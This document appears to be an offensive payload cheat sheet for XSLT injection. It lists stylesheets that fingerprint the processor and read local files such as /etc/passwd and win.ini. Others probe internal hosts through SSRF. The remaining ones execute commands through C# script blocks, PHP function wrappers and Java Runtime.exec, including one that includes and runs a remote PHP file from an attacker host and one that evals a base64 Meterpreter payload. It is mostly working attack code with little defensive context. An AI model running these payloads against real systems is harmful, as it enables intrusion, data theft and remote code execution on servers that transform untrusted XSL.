Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
Summary
Exploit
Determine the vendor and version
Read files and SSRF using document
Remote Code Execution with Embedded Script Blocks
Remote Code Execution with PHP wrapper
Remote Code Execution with Java
Remote Code Execution with Native .NET
Exploit
Determine the vendor and version
Copy <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
Copy <?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html> External Entity
Copy <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet> Read files and SSRF using document
Copy <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
<xsl:copy-of select="document('/etc/passwd')"/>
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet> Remote Code Execution with Embedded Script Blocks
Copy <?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet> Remote Code Execution with PHP wrapper
Execute the function readfile.
Copy <?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html> Execute the function scandir.
Copy <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
</xsl:template>
</xsl:stylesheet> Execute a remote php file using assert
Copy <?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:variable name="payload">
include("http://10.10.10.10/test.php")
</xsl:variable>
<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html> Execute a PHP meterpreter using PHP wrapper.
Copy <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:variable name="eval">
eval(base64_decode('Base64-encoded Meterpreter code'))
</xsl:variable>
<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
</xsl:template>
</xsl:stylesheet> Remote Code Execution with Java
Copy <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
Copy <xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet> Remote Code Execution with Native .NET
Copy <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
<TABLE>
<xsl:for-each select="Test">
<TR>
<TD>
<xsl:value-of select="App:ToShortDateString(TestDate)" />
</TD>
</TR>
</xsl:for-each>
</TABLE>
</xsl:template>
</xsl:stylesheet> References